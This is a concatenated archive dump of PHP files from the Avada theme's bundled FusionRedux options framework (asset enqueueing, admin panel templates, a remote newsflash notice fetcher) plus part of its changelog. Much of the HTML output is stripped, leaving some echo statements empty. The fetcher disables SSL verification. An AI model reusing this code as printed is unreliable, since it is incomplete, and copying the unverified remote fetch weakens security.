if (is_array($arr) && !empty($arr)) { foreach($arr as $x => $y) { if (strpos(strtolower($y), 'fusionredux') >= 0) { $msg = __('FusionRedux Framework Notice: There are references to the FusionRedux Framework support site in your config\'s share_icons argument. This is sample data. Please change or remove this data before shipping your product.', 'Avada'); $this->display_arg_change_notice('share', $msg); $this->omit_share_icons = true; } } } } } } } private function display_arg_change_notice($mode, $msg = '') { if ($mode == 'admin') { if (!$this->omit_admin_items) { $this->admin_notices[] = array( 'type' => 'error', 'msg' => $msg, 'id' => 'admin_config', 'dismiss' => true, ); } } if ($mode == 'share') { if (!$this->omit_share_icons) { $this->admin_notices[] = array( 'type' => 'error', 'msg' => $msg, 'id' => 'share_config', 'dismiss' => true, ); } } } } // FusionReduxFramework /** * action 'fusionredux/init' * * @param FusionReduxFramework $object The object. */ do_action( 'fusionredux/init', FusionReduxFramework::init() ); } // class_exists('FusionReduxFramework') Avada/includes/lib/inc/redux/framework/FusionReduxCore/core/dashboard.php000064400000001722152342437710022517 0ustar00args['opt_name'] ); add_action('wp_dashboard_setup', array($this, $fname)); } public function add_fusionredux_dashboard() { // add_meta_box('fusionredux_dashboard_widget', 'FusionRedux Framework News', array($this,'fusionredux_dashboard_widget'), 'dashboard', 'side', 'high'); } public function dat() { return; } public function fusionredux_dashboard_widget() { echo '
    '; wp_widget_rss_output(array( 'url' => 'http://fusionreduxframework.com/feed/', 'title' => 'REDUX_NEWS', 'items' => 3, 'show_summary' => 1, 'show_author' => 0, 'show_date' => 1 )); echo '
    '; } } } Avada/includes/lib/inc/redux/framework/FusionReduxCore/core/enqueue.php000064400000042552152342437710022245 0ustar00parent = $parent; FusionRedux_Functions::$_parent = $parent; } public function init() { $this->min = FusionRedux_Functions::isMin(); $this->timestamp = FusionReduxFramework::$_version; if ( $this->parent->args['dev_mode'] ) { $this->timestamp .= '.' . time(); } $this->register_styles(); $this->register_scripts(); add_thickbox(); $this->enqueue_fields(); add_filter("fusionredux/{$this->parent->args['opt_name']}/localize", array('FusionRedux_Helpers', 'localize')); $this->set_localized_data(); /** * action 'fusionredux-enqueue-{opt_name}' * * @deprecated * * @param FusionReduxFramework $object */ do_action( "fusionredux-enqueue-{$this->parent->args['opt_name']}", $this->parent ); // REMOVE /** * action 'fusionredux/page/{opt_name}/enqueue' */ do_action( "fusionredux/page/{$this->parent->args['opt_name']}/enqueue" ); } private function register_styles() { global $fusion_library_latest_version; //***************************************************************** // FusionRedux Admin CSS //***************************************************************** wp_enqueue_style( 'fusionredux-admin-css', FusionReduxFramework::$_url . 'assets/css/fusionredux-admin.css', array(), $this->timestamp, 'all' ); //***************************************************************** // FusionRedux Fields CSS //***************************************************************** if ( ! $this->parent->args['dev_mode'] ) { wp_enqueue_style( 'fusionredux-fields-css', FusionReduxFramework::$_url . 'assets/css/fusionredux-fields.css', array(), $this->timestamp, 'all' ); } //***************************************************************** // Select3 CSS //***************************************************************** FusionRedux_CDN::register_style( 'select3-css', FusionReduxFramework::$_url . 'assets/css/vendor/select3.css', array(), $fusion_library_latest_version, 'all' ); //***************************************************************** // Spectrum CSS //***************************************************************** $css_file = 'fusionredux-spectrum.min.css'; if ($this->parent->args['dev_mode']) { $css_file = 'fusionredux-spectrum.css'; } wp_register_style( 'fusionredux-spectrum-css', FusionReduxFramework::$_url . 'assets/css/vendor/spectrum/' . $css_file, array(), $fusion_library_latest_version, 'all' ); //***************************************************************** // Elusive Icon CSS //***************************************************************** wp_enqueue_style( 'fusionredux-elusive-icon', FusionReduxFramework::$_url . 'assets/css/vendor/elusive-icons/elusive-icons.css', array(), $this->timestamp, 'all' ); //***************************************************************** // QTip CSS //***************************************************************** $css_file = 'jquery.qtip.min.css'; if ($this->parent->args['dev_mode']) { $css_file = 'jquery.qtip.css'; } wp_enqueue_style( 'qtip-css', FusionReduxFramework::$_url . 'assets/css/vendor/qtip/' . $css_file, array(), $fusion_library_latest_version, 'all' ); //***************************************************************** // JQuery UI CSS //***************************************************************** wp_enqueue_style( 'jquery-ui-css', apply_filters( "fusionredux/page/{$this->parent->args['opt_name']}/enqueue/jquery-ui-css", FusionReduxFramework::$_url . 'assets/css/vendor/jquery-ui-bootstrap/jquery-ui-1.10.0.custom.css' ), array(), $this->timestamp, 'all' ); //***************************************************************** // Iris CSS //***************************************************************** wp_enqueue_style( 'wp-color-picker' ); if ( $this->parent->args['dev_mode'] ) { //***************************************************************** // Color Picker CSS //***************************************************************** wp_register_style( 'fusionredux-color-picker-css', FusionReduxFramework::$_url . 'assets/css/color-picker/color-picker.css', array( 'wp-color-picker' ), $this->timestamp, 'all' ); //***************************************************************** // Media CSS //***************************************************************** wp_enqueue_style( 'fusionredux-field-media-css', FusionReduxFramework::$_url . 'assets/css/media/media.css', array(), time(), 'all' ); } //***************************************************************** // RTL CSS //***************************************************************** if ( is_rtl() ) { wp_enqueue_style( 'fusionredux-rtl-css', FusionReduxFramework::$_url . 'assets/css/rtl.css', array( 'fusionredux-admin-css' ), $this->timestamp, 'all' ); } } private function register_scripts() { global $fusion_library_latest_version; //***************************************************************** // JQuery / JQuery UI JS //***************************************************************** wp_enqueue_script( 'jquery' ); wp_enqueue_script( 'jquery-ui-core' ); wp_enqueue_script( 'jquery-ui-dialog' ); //***************************************************************** // Select3 Sortable JS //***************************************************************** wp_register_script( 'fusionredux-select3-sortable-js', FusionReduxFramework::$_url . 'assets/js/vendor/fusionredux.select3.sortable' . $this->min . '.js', array( 'jquery' ), $this->timestamp, true ); //***************************************************************** // Select3 JS //***************************************************************** // JWp6 plugin giving us problems. They need to update. if ( wp_script_is ( 'jquerySelect3' )) { wp_deregister_script( 'jquerySelect3' ); wp_dequeue_script('jquerySelect3'); wp_dequeue_style('jquerySelect3Style'); } FusionRedux_CDN::register_script( 'select3-js', FusionReduxFramework::$_url . 'assets/js/vendor/select3.min.js', array( 'jquery', 'fusionredux-select3-sortable-js' ), $fusion_library_latest_version, true ); //***************************************************************** // QTip JS //***************************************************************** $js_file = 'jquery.qtip.min.js'; if ($this->parent->args['dev_mode']) { $js_file = 'jquery.qtip.js'; } wp_enqueue_script( 'qtip-js', FusionReduxFramework::$_url . 'assets/js/vendor/qtip/' . $js_file, array( 'jquery' ), $fusion_library_latest_version, true ); //***************************************************************** // Spectrum JS //***************************************************************** $js_file = 'fusionredux-spectrum.min.js'; if ($this->parent->args['dev_mode']) { $js_file = 'fusionredux-spectrum.js'; } wp_register_script( 'fusionredux-spectrum-js', FusionReduxFramework::$_url . 'assets/js/vendor/spectrum/' . $js_file, array( 'jquery' ), $fusion_library_latest_version, true ); $depArray = array( 'jquery' ); //***************************************************************** // Vendor JS //***************************************************************** wp_register_script( 'fusionredux-vendor', FusionReduxFramework::$_url . 'assets/js/vendor.min.js', array( 'jquery' ), $fusion_library_latest_version, true ); if ( function_exists( 'AWB_Global_Colors' ) ) { AWB_Global_Colors()->enqueue(); } array_push( $depArray, 'fusionredux-vendor' ); array_push( $depArray, 'awb-color-picker' ); //***************************************************************** // FusionRedux JS //***************************************************************** wp_register_script( 'fusionredux-js', FusionReduxFramework::$_url . 'assets/js/fusionredux' . $this->min . '.js', $depArray, $fusion_library_latest_version, true ); $google_api = 'googleapis.com'; wp_enqueue_script( 'webfontloader', 'https://ajax.' . $google_api . '/ajax/libs/webfont/1.6.26/webfont.js', array( 'jquery' ), $fusion_library_latest_version, true ); } public function _enqueue_field($field) { // TODO AFTER GROUP WORKS - Revert IF below // if( isset( $field['type'] ) && $field['type'] != 'callback' ) { if ( isset( $field['type'] ) && $field['type'] != 'callback' ) { $field_class = 'FusionReduxFramework_' . $field['type']; /** * Field class file * filter 'fusionredux/{opt_name}/field/class/{field.type} * * @param string $file_path field class file path * @param array $field field config data */ $class_file = apply_filters( "fusionredux/{$this->parent->args['opt_name']}/field/class/{$field['type']}", FusionReduxFramework::$_dir . "inc/fields/{$field['type']}/field_{$field['type']}.php", $field ); if ( $class_file ) { if ( ! class_exists( $field_class ) ) { if ( file_exists( $class_file ) ) { require_once wp_normalize_path( $class_file ); } } if ( ( method_exists( $field_class, 'enqueue' ) ) || method_exists( $field_class, 'localize' ) ) { if ( ! isset( $this->parent->options[ $field['id'] ] ) ) { $this->parent->options[ $field['id'] ] = ""; } $theField = new $field_class( $field, $this->parent->options[ $field['id'] ], $this->parent ); // Move dev_mode check to a new if/then block if ( ! wp_script_is( 'fusionredux-field-' . $field['type'] . '-js', 'enqueued' ) && class_exists( $field_class ) && method_exists( $field_class, 'enqueue' ) ) { $theField->enqueue(); } if ( method_exists( $field_class, 'localize' ) ) { $params = $theField->localize( $field ); if ( ! isset( $this->parent->localize_data[ $field['type'] ] ) ) { $this->parent->localize_data[ $field['type'] ] = array(); } $this->parent->localize_data[ $field['type'] ][ $field['id'] ] = $theField->localize( $field ); } unset( $theField ); } } } } private function enqueue_fields() { $data = array(); foreach ( $this->parent->sections as $section ) { if ( isset( $section['fields'] ) ) { foreach ( $section['fields'] as $field ) { $data[$section['id']][$field['id']] = true; $this->_enqueue_field( $field ); } } } $this->parent->localize_data['optionSections'] = $data; } public function get_warnings_and_errors_array() { // Construct the errors array. if ( isset( $this->parent->transients['last_save_mode'] ) && ! empty( $this->parent->transients['notices']['errors'] ) ) { $theTotal = 0; $theErrors = array(); foreach ( $this->parent->transients['notices']['errors'] as $error ) { $theErrors[ $error['section_id'] ]['errors'][] = $error; if ( ! isset( $theErrors[ $error['section_id'] ]['total'] ) ) { $theErrors[ $error['section_id'] ]['total'] = 0; } $theErrors[ $error['section_id'] ]['total'] ++; $theTotal ++; } $this->parent->localize_data['errors'] = array( 'total' => $theTotal, 'errors' => $theErrors ); unset( $this->parent->transients['notices']['errors'] ); } // Construct the warnings array. if ( isset( $this->parent->transients['last_save_mode'] ) && ! empty( $this->parent->transients['notices']['warnings'] ) ) { $theTotal = 0; $theWarnings = array(); foreach ( $this->parent->transients['notices']['warnings'] as $warning ) { $theWarnings[ $warning['section_id'] ]['warnings'][] = $warning; if ( ! isset( $theWarnings[ $warning['section_id'] ]['total'] ) ) { $theWarnings[ $warning['section_id'] ]['total'] = 0; } $theWarnings[ $warning['section_id'] ]['total'] ++; $theTotal ++; } unset( $this->parent->transients['notices']['warnings'] ); $this->parent->localize_data['warnings'] = array( 'total' => $theTotal, 'warnings' => $theWarnings ); } if ( empty( $this->parent->transients['notices'] ) ) { unset( $this->parent->transients['notices'] ); } } private function set_localized_data() { if (!empty($this->parent->args['last_tab'])) { $this->parent->localize_data['last_tab'] = $this->parent->args['last_tab']; } $this->parent->localize_data['required'] = $this->parent->required; $this->parent->localize_data['fonts'] = $this->parent->fonts; $this->parent->localize_data['required_child'] = $this->parent->required_child; $this->parent->localize_data['fields'] = $this->parent->fields; if ( isset( $this->parent->font_groups['google'] ) ) { $this->parent->localize_data['googlefonts'] = $this->parent->font_groups['google']; } if ( isset( $this->parent->font_groups['std'] ) ) { $this->parent->localize_data['stdfonts'] = $this->parent->font_groups['std']; } if ( isset( $this->parent->font_groups['customfonts'] ) ) { $this->parent->localize_data['customfonts'] = $this->parent->font_groups['customfonts']; } $this->parent->localize_data['folds'] = $this->parent->folds; // Make sure the children are all hidden properly. foreach ( $this->parent->fields as $key => $value ) { if ( in_array( $key, $this->parent->fieldsHidden ) ) { foreach ( $value as $k => $v ) { if ( ! in_array( $k, $this->parent->fieldsHidden ) ) { $this->parent->fieldsHidden[] = $k; $this->parent->folds[ $k ] = "hide"; } } } } $this->parent->localize_data['fieldsHidden'] = $this->parent->fieldsHidden; $this->parent->localize_data['options'] = $this->parent->options; $this->parent->localize_data['defaults'] = $this->parent->options_defaults; /** * Save pending string * filter 'fusionredux/{opt_name}/localize/save_pending * * @param string $save_pending */ $save_pending = apply_filters( "fusionredux/{$this->parent->args['opt_name']}/localize/save_pending", __( 'You have changes that are not saved. Would you like to save them now?', 'Avada' ) ); /** * Reset all string * filter 'fusionredux/{opt_name}/localize/reset * * @param string $reset_all_string */ $reset_all = apply_filters( "fusionredux/{$this->parent->args['opt_name']}/localize/reset", __( 'Are you sure? Resetting will lose all custom values.', 'Avada' ) ); /** * Reset section string * filter 'fusionredux/{opt_name}/localize/reset_section * * @param string $reset_section_string */ $reset_section = apply_filters( "fusionredux/{$this->parent->args['opt_name']}/localize/reset_section", __( 'Are you sure? Resetting will lose all custom values in this section.', 'Avada' ) ); /** * Preset confirm string * filter 'fusionredux/{opt_name}/localize/preset * * @param string $preset_confirm_string */ $preset_confirm = apply_filters( "fusionredux/{$this->parent->args['opt_name']}/localize/preset", __( 'Your current options will be replaced with the values of this preset. Would you like to proceed?', 'Avada' ) ); global $pagenow; $this->parent->localize_data['args'] = array( 'save_pending' => $save_pending, 'reset_confirm' => $reset_all, 'reset_section_confirm' => $reset_section, 'preset_confirm' => $preset_confirm, 'please_wait' => __( 'Please Wait', 'Avada' ), 'opt_name' => $this->parent->args['opt_name'], 'slug' => $this->parent->args['page_slug'], 'hints' => $this->parent->args['hints'], 'disable_save_warn' => $this->parent->args['disable_save_warn'], 'class' => $this->parent->args['class'], 'ajax_save' => $this->parent->args['ajax_save'], 'menu_search' => $pagenow . '?page=' . $this->parent->args['page_slug'] . "&tab=" ); $this->parent->localize_data['ajax'] = array( 'console' => __( 'There was an error saving. Here is the result of your action:', 'Avada' ), 'alert' => __( 'There was a problem with your action. Please try again or reload the page.', 'Avada' ), ); $this->parent->localize_data = apply_filters( "fusionredux/{$this->parent->args['opt_name']}/localize", $this->parent->localize_data ); $this->get_warnings_and_errors_array(); wp_localize_script( 'fusionredux-js', 'fusionredux', $this->parent->localize_data ); wp_enqueue_script( 'fusionredux-js' ); // Enque the JS now } } } Avada/includes/lib/inc/redux/framework/FusionReduxCore/core/newsflash.php000064400000007214152342437710022564 0ustar00parent = $parent; if ( ! is_admin() ) { return; } $this->server_file = $params['server_file']; $this->interval = isset( $params['interval'] ) ? $params['interval'] : 3; $this->cookie_id = isset( $params['cookie_id'] ) ? $params['cookie_id'] : $parent->args['opt_name'] . '_blast'; $this->notice_data = get_option( 'r_notice_data', '' ); $fname = FusionRedux_Functions::bub( 'get_notice_json', $parent->args['opt_name'] ); $mname = FusionRedux_Functions::yo( 'display_message', $parent->args['opt_name'] ); // if notice data is empty if ( empty( $this->notice_data ) ) { // get notice data from server and create cache data $this->$fname(); } else { // check expiry time if ( ! isset( $_COOKIE[ $this->cookie_id ] ) ) { // expired! get notice data from server $this->$fname(); } } // set the admin notice msg $this->$mname(); } private function bub() { $this->notice_data = ''; } private function get_notice_json() { // get notice data from server $data = @wp_remote_get( $this->server_file, array( 'sslverify' => false ) ); if ( isset( $data ) && ! empty( $data ) && ! is_wp_error( $data ) && $data['response']['code'] == 200 ) { $data = $data['body']; // if some data exists if ( $data != '' || ! empty( $data ) ) { if ( ! empty( $this->notice_data ) ) { if ( strcmp( $data, $this->notice_data ) == 0 ) { // set new cookie for interval value FusionRedux_Functions::setCookie( $this->cookie_id, time(), time() + ( 86400 * $this->interval ), '/' ); // bail out return; } } update_option( 'r_notice_data', $data ); $this->notice_data = $data; // set cookie for three day expiry setcookie( $this->cookie_id, time(), time() + ( 86400 * $this->interval ), '/' ); // set unique key for dismiss meta key update_option( $this->cookie_id, time() ); } } } private function display_message() { // Notice data exists? if ( ! empty( $this->notice_data ) ) { // decode json string $data = (Array) json_decode( $this->notice_data ); // must be array and not empty if ( is_array( $data ) && ! empty( $data ) ) { // No message means nothing to display. if ( ! isset( $data['message'] ) || $data['message'] == '' || empty( $data['message'] ) ) { return; } // validate data $data['type'] = isset( $data['type'] ) && $data['type'] != '' ? $data['type'] : 'updated'; $data['title'] = isset( $data['title'] ) && $data['title'] != '' ? $data['title'] : ''; if ( $data['type'] == 'fusionredux-message' ) { $data['type'] = 'updated fusionredux-message'; } $data['color'] = isset( $data['color'] ) ? $data['color'] : '#00A2E3'; // get unique meta key $key = get_option( $this->cookie_id ); // set admin notice array $this->parent->admin_notices[] = array( 'type' => $data['type'], 'msg' => $data['title'] . $data['message'], 'id' => $this->cookie_id . '_' . $key, 'dismiss' => true, 'color' => $data['color'] ); } } } } } Avada/includes/lib/inc/redux/framework/FusionReduxCore/core/required.php000064400000000655152342437710022414 0ustar00parent = $parent; FusionRedux_Functions::$_parent = $parent; /** * action 'fusionredux/page/{opt_name}/' */ do_action( "fusionredux/page/{$parent->args['opt_name']}/" ); } } } Avada/includes/lib/inc/redux/framework/FusionReduxCore/core/panel.php000064400000026257152342437710021701 0ustar00parent = $parent; FusionRedux_Functions::$_parent = $parent; $this->template_path = $this->original_path = FusionReduxFramework::$_dir . 'templates/panel/'; if ( ! empty( $this->parent->args['templates_path'] ) ) { $this->template_path = trailingslashit( $this->parent->args['templates_path'] ); } $this->template_path = trailingslashit( apply_filters( "fusionredux/{$this->parent->args['opt_name']}/panel/templates_path", $this->template_path ) ); } public function init() { $this->panel_template(); } /** * Loads the panel templates where needed and provides the container for FusionRedux */ private function panel_template() { if ( $this->parent->args['dev_mode'] ) { $this->template_file_check_notice(); } /** * action 'fusionredux/{opt_name}/panel/before' */ do_action( "fusionredux/{$this->parent->args['opt_name']}/panel/before" ); // echo '

    '; // Stupid hack for Wordpress alerts and warnings echo '
    '; echo '
    '; // Do we support JS? echo ''; // Security is vital! echo ''; /** * action 'fusionredux-page-before-form-{opt_name}' * * @deprecated */ do_action( "fusionredux-page-before-form-{$this->parent->args['opt_name']}" ); // Remove /** * action 'fusionredux/page/{opt_name}/form/before' * * @param fusionreduxCorePanel $object */ do_action( "fusionredux/page/{$this->parent->args['opt_name']}/form/before", $this ); $this->get_template( 'container.tpl.php' ); /** * action 'fusionredux-page-after-form-{opt_name}' * * @deprecated */ do_action( "fusionredux-page-after-form-{$this->parent->args['opt_name']}" ); // REMOVE /** * action 'fusionredux/page/{opt_name}/form/after' * * @param fusionreduxCorePanel $object */ do_action( "fusionredux/page/{$this->parent->args['opt_name']}/form/after", $this ); echo '
    '; echo '
    '; if ( $this->parent->args['dev_mode'] == true ) { if ( current_user_can( 'manage_options' ) ) { global $wpdb; echo "
    ";
    						print_r( $wpdb->queries );
    						echo "
    "; } echo '
    ' . get_num_queries() . ' queries in ' . timer_stop( 0 ) . ' seconds
    FusionRedux is currently set to developer mode.
    '; } /** * action 'fusionredux/{opt_name}/panel/after' */ do_action( "fusionredux/{$this->parent->args['opt_name']}/panel/after" ); } /** * Calls the various notification bars and sets the appropriate templates. */ function notification_bar() { if ( isset( $this->parent->transients['last_save_mode'] ) ) { if ( $this->parent->transients['last_save_mode'] == "import" ) { /** * action 'fusionredux/options/{opt_name}/import' * * @param fusionreduxCorePanel $object * @param mixed $value Changed value. */ do_action( "fusionredux/options/{$this->parent->args['opt_name']}/import", $this, $this->parent->transients['changed_values'] ); /** * filter 'fusionredux-imported-text-{opt_name}' * * @param string $translated */ echo '
    ' . apply_filters( "fusionredux-imported-text-{$this->parent->args['opt_name']}", __( 'Settings Imported!', 'Avada' ) ) . '
    '; //exit(); } else if ( $this->parent->transients['last_save_mode'] == "defaults" ) { /** * action 'fusionredux/options/{opt_name}/reset' * * @param fusionreduxCorePanel $object */ do_action( "fusionredux/options/{$this->parent->args['opt_name']}/reset", $this ); /** * filter 'fusionredux-defaults-text-{opt_name}' * * @param string $translated "settings imported" text */ echo '
    ' . apply_filters( "fusionredux-defaults-text-{$this->parent->args['opt_name']}", __( 'All Defaults Restored!', 'Avada' ) ) . '
    '; } else if ( $this->parent->transients['last_save_mode'] == "defaults_section" ) { /** * action 'fusionredux/options/{opt_name}/section/reset' * * @param fusionreduxCorePanel $object */ do_action( "fusionredux/options/{$this->parent->args['opt_name']}/section/reset", $this ); /** * filter 'fusionredux-defaults-section-text-{opt_name}' * * @param string $translated "settings imported" text */ echo '
    ' . apply_filters( "fusionredux-defaults-section-text-{$this->parent->args['opt_name']}", __( 'Section Defaults Restored!', 'Avada' ) ) . '
    '; } else if ( $this->parent->transients['last_save_mode'] == "normal" ) { /** * action 'fusionredux/options/{opt_name}/saved' * * @param mixed $value set/saved option value * @param mixed $changed_value */ do_action( "fusionredux/options/{$this->parent->args['opt_name']}/saved", $this->parent->options, $this->parent->transients['changed_values'] ); /** * filter 'fusionredux-saved-text-{opt_name}' * * @param string $translated "settings saved" text */ echo '
    ' . apply_filters( "fusionredux-saved-text-{$this->parent->args['opt_name']}", ''.__( 'Settings Saved!', 'Avada' ) ).'' . '
    '; } unset( $this->parent->transients['last_save_mode'] ); //$this->parent->transients['last_save_mode'] = 'remove'; $this->parent->set_transients(); } /** * action 'fusionredux/options/{opt_name}/settings/changes' * * @param array $options set/saved options. * @param mixed $value changed value. */ do_action( "fusionredux/options/{$this->parent->args['opt_name']}/settings/change", $this->parent->options, $this->parent->transients['changed_values'] ); /** * filter 'fusionredux-changed-text-{opt_name}' * * @param string $translated "settings have changed" text */ echo '
    ' . apply_filters( "fusionredux-changed-text-{$this->parent->args['opt_name']}", __( 'Settings have changed, you should save them!', 'Avada' ) ) . '
    '; /** * action 'fusionredux/options/{opt_name}/errors' * * @param array $errors */ do_action( "fusionredux/options/{$this->parent->args['opt_name']}/errors", $this->parent->errors ); echo '
    ' . __( 'error(s) were found!', 'Avada' ) . '
    '; /** * action 'fusionredux/options/{opt_name}/warnings' * * @param array $warning */ do_action( "fusionredux/options/{$this->parent->args['opt_name']}/warnings", $this->parent->warnings ); echo '
    ' . __( 'warning(s) were found!', 'Avada' ) . '
    '; } /** * Used to intitialize the settings fields for this panel. Required for saving and redirect. */ function init_settings_fields() { // Must run or the page won't redirect properly settings_fields( "{$this->parent->args['opt_name']}_group" ); } /** * Used to select the proper template. If it doesn't exist in the path, then the original template file is used. * * @param $file */ function get_template( $file ) { if ( empty( $file ) ) { return; } if ( file_exists( $this->template_path . $file ) ) { $path = $this->template_path . $file; } else { $path = $this->original_path . $file; } do_action( "fusionredux/{$this->parent->args['opt_name']}/panel/template/" . $file . '/before' ); $path = apply_filters( "fusionredux/{$this->parent->args['opt_name']}/panel/template/" . $file, $path ); do_action( "fusionredux/{$this->parent->args['opt_name']}/panel/template/" . $file . '/after' ); require $path; } /** * Scan the template files * * @param string $template_path * * @return array */ public function scan_template_files( $template_path ) { $files = scandir( $template_path ); $result = array(); if ( $files ) { foreach ( $files as $key => $value ) { if ( ! in_array( $value, array( ".", ".." ) ) ) { if ( is_dir( $template_path . DIRECTORY_SEPARATOR . $value ) ) { $sub_files = self::scan_template_files( $template_path . DIRECTORY_SEPARATOR . $value ); foreach ( $sub_files as $sub_file ) { $result[] = $value . DIRECTORY_SEPARATOR . $sub_file; } } else { $result[] = $value; } } } } return $result; } /** * Show a notice highlighting bad template files */ public function template_file_check_notice() { if ( $this->template_path == $this->original_path ) { return; } $core_templates = $this->scan_template_files( $this->original_path ); $outdated = false; foreach ( $core_templates as $file ) { $developer_theme_file = false; if ( file_exists( $this->template_path . $file ) ) { $developer_theme_file = $this->template_path . $file; } if ( $developer_theme_file ) { $core_version = FusionRedux_Helpers::get_template_version( $this->original_path . $file ); $developer_version = FusionRedux_Helpers::get_template_version( $developer_theme_file ); if ( $core_version && $developer_version && version_compare( $developer_version, $core_version, '<' ) ) { ?>

    Your panel has bundled outdated copies of FusionRedux Framework template files – if you encounter functionality issues this could be the reason. Ensure you update or remove them.', 'Avada' ); ?>

    parent->args['opt_name'] . $k . '_section_group' ); } } } Avada/includes/lib/inc/redux/framework/CHANGELOG.md000064400000224026152342437710015660 0ustar00# FusionRedux Framework Changelog ## 3.5.9.8 #2903 - False positive flag in border field JS. Avast doesn't like empty document ready statements. ## 3.5.9.7 #2880 - More issues with the extensions_url routine. ## 3.5.9.6 #2876 - Fixing more unvetted user contributions. ## 3.5.9.5 * Modified: #2855 - Extensions now have a helper class to help composer-based installs. Thanks @2ndkauboy! ## 3.5.9.4 * Fixed: #2857 - Required 'contains' not properly evaluating with checkboxes. ## 3.5.9.3 * Fixed: #2831 - Localization was complete broken. * Fixed: #2832 - CSS conflicts with Rev Slider (Hey, Rev Slider guys, you don't have to load your CSS on every admin page. Really?) ## 3.5.9.2 * Fixed: Leftover debug echo line in basic customizer extension. ## 3.5.9.1 * Added: EXPERIMENTAL: New parsing code in an effort to break the 1000 max_input_var issue that crops up from time to time. Thanks, @harunbasic * Added: EXPERIMENTAL: "Bugfix" for extension_url in an effort to make it correct. Thanks, @ottok ## 3.5.9 * Notice: New wp.org release ## 3.5.8.15 * Fixed: Wordpress 4.4.1 related issues. ## 3.5.8.14 * Fixed: #2794 - User contributed code from #2716 did not contain isset and caused an index error. ## 3.5.8.13 * Modified: Added tons of wp_remote_get handlings to stop bringing down site if FusionRedux is down. * Modified: When some items appear or not. Making devs lives easier. ;) ## 3.5.8.12 * Updated: parsedown.php vendor code, to deal. with PHP 7.0 errors. ## 3.5.8.11 * Fixed: #2774 - border fields set to 0 would disappear after saving. * Modified: Post/page settings on the media gallery window hidden for gallery field, since they are not applicable to FusionRedux. * Added: #2728 - Filter for hints HTML. 'fusionredux/hints/html'. Thanks, @nyordanov. * Fixed: #2716 - Enqueue jquery sortable when select field is set to sortable. Thanks, @josh-rathke. ## 3.5.8.10 * Fixed: #2726 - FusionRedux fixes for WordPress 4.4. * Fixed: #2713 - Alerts wouldn't disappear. ## 3.5.8.9 * Fixed: #2726 - WP 4.4 breaking template.php include, because the core WP guys thought it would be hilarious to break everyone else's stuff. ## 3.5.8.8 * Fixed: Specifying 'user' in a field's data argument would produce WordPress depreciation errors. ## 3.5.8.7 * Fixed: Reflective XSS security fix. Thanks to Kacper Szurek for the information. ## 3.5.8.6 * Modified: #2685 - Rejoined http strings to prevent errors in theme check. Trade off, INFO notices will appear. @Otto says this is ok. ## 3.5.8.5 * Fixed: #2684 - Sorter not displaying (or saving) WordPress data when using the data argument. ## 3.5.8.4 * Added: #2673 - WP_CLI check before welcome page redirect. * Fixed: #2677 - tinymce javascript errors when wp editor is disabled. ## 3.5.8.3 * Modified: While in dev_mode, notices will appear if FusionRedux sample data in share_icons and admin_bar_links arguments is not changed. This became necessary because devs are not changing this data and theme ends users are coming to us for theme support. * Modified: FusionRedux links to be // instead of http:// or https:// to ensure portability for secure sites. ## 3.5.8.2 * Fixed: #2665 - For those who must have empty dirs in the extensions dir. No more errors. * Added: #2660 - Added 'user'/'users' data type to wordpress data arg. Thanks @golchha21. ## 3.5.8.1 * Fixed: #2652 - load_plugin_textdomain using depreciated argument. ## 3.5.8 * Fixed: Customizer preview callback working again. ## 3.5.7.12 * Fixed: last_tab argument not working. ## 3.5.7.11 * Fixed: #2637 - color picker clear. * Fixed: #2633. ## 3.5.7.10 * Fixed: #2624 - Border field saving/output 0px when no default set. Now accepts no default and outputs no CSS for blank values. * Fixed: color_rgba no long outputs CSS with empty color values. ## 3.5.7.9 * Fixed: #2612 - pseudo classes not appending to multiple selectors in link_color output. ## 3.5.7.8 * Modified: The mass data escaping of FusionRedux Core output. Part I. ## 3.5.7.7 * Fixed: #2609 - Section not folding correctly with class argument specified. ## 3.5.7.6 * Fixed: #2607 - button_set required scalar check for array returned by terms in the data arg. Thanks @Enchiridion. ## 3.5.7.5 * Fixed: Fixing more inconsistencies with wp_filesystem dirlist. How about some proper documentation, Otto? ## 3.5.7.4 * Fixed: #2582: Added extra check for get_terms to avoid error. ## 3.5.7.3 * Fixed Filesystem proxy dirlist triggering file permission errors on empty array. ## 3.5.7.2 * Fixed: #2571 - Sorter adding extra disable column on new entries if 'disabled' is lowercase. * Updated Fields css for dev_mode off. ## 3.5.7.1 * Updated: Updated container.tpl version. * Fixed: #2570 - multi-text field CSS bleeding over into WP. ## 3.5.7 * Fixed Customizer customizer_only and customizer section overrides. Also global customizer => false was not working. ## 3.5.6.9 * Added Security suggestions posed in #2543 by Julio Potier from SecuPress. ## 3.5.6.8 * Fixed: 'dirlist' in filesystem proxy returning permission error on empty dirs. ## 3.5.6.7 * Added setOption and getOption to FusionRedux API. * Added 'hide_save' argument. ## 3.5.6.6 * Added: 'readonly' argument for textarea. ## 3.5.6.5 * Fixed: #2545 - CSS validator error output misconfigured. * Fixed: ACE adding escape slashes to quotes via CSS validation, causing improper error message. ## 3.5.6.4 * Added: `ajax_save` arg for fields. Setting to false will reload the options panel when the set option has changed. * Fixed: #2532 - Spinner field arrow spacing off when dev_mode set to false due to missing `!important` CSS suffix. ## 3.5.6.3 * Added: `autocomplete` arg to text field. This is FALSE by default. ## 3.5.6.2 * Fixed: Color RGBA field missing name_suffix. Will now work in repeater extension. ## 3.5.6.1 * Fixed: Index error regarding icon argument. ## 3.5.6 * Fixed Customizer WP 4.3 final fixes. ## 3.5.5.9 * Fixed #2500 - Conflict with outdated select3 in JW Player plugin. ## 3.5.5.8 * Modified: icon_type no longer needed for section icons. Now detects if URLs are provided for images. * Fixed: Various customizer fixes. HTML in the customizer title. * Modified: Media URL now is 95% wide. * Modified: Select3 now 100% width instead of just resolve (that doesn't always work). ## 3.5.5.7 * Modified: Field enqueue method to allow for more flexibility. * Added: Support for Airplane Mode plugin (https://github.com/norcross/airplane-mode) by @norcross. Thanks @chriscct7 #2463 ## 3.5.5.6 * Fixed: Undefined index in theme-check enhancements. Thanks @winwinwebdesign! * Removed: SASS compiler & code. Note needed. * Fixed: Color transparency live-update for Customizer for color, background, and color gradient fields. ## 3.5.5.5 * Fixed: Undefined index when removing a section. ## 3.5.5.4 * Fixed: Typography bug onload always saying settings have changed. * Modified: Added minified customizer JS. ## 3.5.5.3 * Fixed: FusionRedux CUSTOMIZER! YEA! ## 3.5.5.2 * Fixed: Small echo in FusionRedux API ## 3.5.5.1 * Fixed: PHP 5.2 Theme-Check error. ## 3.5.5 * Fixed: Date-time fixes with CSS overloading and positioning. ## 3.5.4.35 * Added: Lite support for https://wordpress.org/plugins/plugin-dependencies/ * Modified: CDN to be a more bulletproof solution 